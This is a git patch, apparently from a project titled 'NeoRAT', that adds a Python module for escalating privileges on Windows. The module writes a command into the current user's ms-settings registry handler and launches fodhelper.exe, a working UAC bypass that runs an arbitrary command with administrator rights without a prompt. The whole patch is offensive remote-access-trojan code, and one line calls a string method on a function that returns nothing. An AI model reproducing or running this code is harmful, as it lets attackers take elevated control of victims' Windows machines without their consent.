From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/privileges/win_privileges.py | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 foreign/privileges/win_privileges.py (limited to 'foreign/privileges') diff --git a/foreign/privileges/win_privileges.py b/foreign/privileges/win_privileges.py new file mode 100644 index 0000000..e6bd0ac --- /dev/null +++ b/foreign/privileges/win_privileges.py @@ -0,0 +1,32 @@ +import ctypes +import winreg +import os + +FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' +REG_PATH = 'Software\Classes\ms-settings\shell\open\command' +DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + +def is_running_as_admin(): + try: + return ctypes.windll.shell32.IsUserAnAdmin() + except: + return False + + +def create_reg_key(key, value): + winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) + registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) + winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(registry_key) + + +def bypass_uac(cmd): + create_reg_key(DELEGATE_EXEC_REG_KEY, '') + create_reg_key(None, cmd) + + +def bypass(path, arguments): + bypass_uac(f'{path}{arguments}').replace('/', '\\') + os.system(FOD_HELPER) + return {'message': 'Attempting to elevate privileges', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file -- cgit v1.2.3